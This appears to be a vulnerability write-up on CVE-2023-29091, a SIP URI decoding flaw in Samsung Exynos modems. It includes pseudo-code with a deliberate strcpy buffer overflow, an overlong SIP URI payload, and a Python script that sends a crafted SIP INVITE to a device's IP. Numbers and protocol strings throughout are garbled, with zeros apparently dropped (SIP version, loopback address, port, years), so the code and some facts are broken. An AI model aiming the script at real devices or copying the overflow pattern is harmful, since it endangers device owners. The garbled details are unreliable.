In March 2023, the security community uncovered a serious vulnerability, CVE-2023-29091, impacting a range of Samsung Exynos products including smartphones, auto processors, and their high-performance modems. This exploit arises from improper input validation when decoding SIP URIs (Session Initiation Protocol Uniform Resource Identifiers), presenting significant risks such as remote code execution (RCE) and device crashes. In this post, we'll dive into the details, demonstrate how the bug arises, review potential exploits, and provide resources for further exploration.

Exynos Auto T5123

These chips are present not just in Samsung phones, but also in wearables and automotive systems.

The Vulnerability Explained

CVE-2023-29091 is a classic case of memory corruption due to insufficient parameter validation. Specifically, the vulnerable code attempts to process incoming SIP URIs used for initiating telephony and VoIP sessions. If an attacker sends a specially crafted SIP URI, the lack of proper input validation could let memory be corrupted — potentially allowing code execution, data leakage, or a complete system crash.

SIP URIs might look like

sip:attacker@example.com

But an attacker could embed unexpected or overly long parameters to confuse the decoder.

Vulnerable Code Snippet (Hypothetical)

While Samsung has not released the exact source code, based on common patterns in SIP handling, here's a simplified C-style pseudo-code of how these bugs often manifest:

void handle_sip_uri(char *uri) {
    char buf[128];
    // BAD: No bounds checking, copies uri directly into buffer!
    strcpy(buf, uri); // <-- Vulnerable! Might overflow buf.

    // Parsing logic...
    parse_sip_header(buf);
}

If an attacker sends a SIP URI longer than 128 bytes, they can overflow the buf array, corrupting adjacent memory and possibly controlling execution flow.

`plaintext

sip:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@evil.com

Send Payload to Target Device:

This can occur over a VoLTE registration request or through telephony APIs (SMS/MMS).

Potential Impact:

Modem-level vulnerabilities can break out of the secure zone, snoop on calls/SMS, or escalate to system-level control.

Suppose you want to fuzz a vulnerable device by sending anomalously long SIP URIs

import socket

def send_sip_fuzz(ip, port):
    payload = "sip:" + "A" * 200 + "@attacker.com"
    message = (
        f"INVITE {payload} SIP/2.\r\n"
        "Via: SIP/2./UDP 127...1;branch=z9hG4bK776asdhds\r\n"
        "Max-Forwards: 70\r\n"
        "To: <sip:user@example.com>\r\n"
        "From: <sip:attacker@hacker.com>;tag=1928301774\r\n"
        "Call-ID: a84b4c76e66710\r\n"
        "CSeq: 314159 INVITE\r\n"
        "Contact: <sip:attacker@127...1>\r\n"
        "Content-Length: \r\n\r\n"
    )
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(message.encode(), (ip, port))
    s.close()

# Example call (use responsibly, only in labs!)
send_sip_fuzz("192.168.1.10", 506)

Note: Modify IP/port as needed. Only test on devices you own or have explicit permission to test.

Proof-of-Concept (PoC)

A synthetic PoC would involve triggering the crash via a direct SIP payload, then observing crash logs or unintended modem behavior. In bug tracking, researchers observed modems reset or crashed outright upon processing the malicious SIP URI.

Update your firmware: Samsung released patches in 2023

- Disable VoLTE/SIP features where possible on unpatched devices

Original References

- Samsung Security Bulletin: March 2023
- NIST National Vulnerability Database CVE-2023-29091
- Project Zero: Exynos Modem Vulnerabilities
- Common SIP attacks
- SIP protocol basics (Wikipedia)

Final Thoughts

CVE-2023-29091 is a wake-up call: even tiny bugs in complex protocol parsing can expose millions of users to remote threats. If you use a Samsung device, especially a flagship or automotive product from 202-2023, make sure your firmware is up to date. For researchers — this case shows how SIP parsing, still a niche target, remains a gold mine for high-impact vulnerabilities.

*Stay safe and keep your devices patched!*

*This original analysis is brought to you by the team at Responsible Disclosure. If you share, please link back to this article.*

Timeline

Published on: 04/14/2023 21:15:00 UTC
Last modified on: 04/24/2023 16:49:00 UTC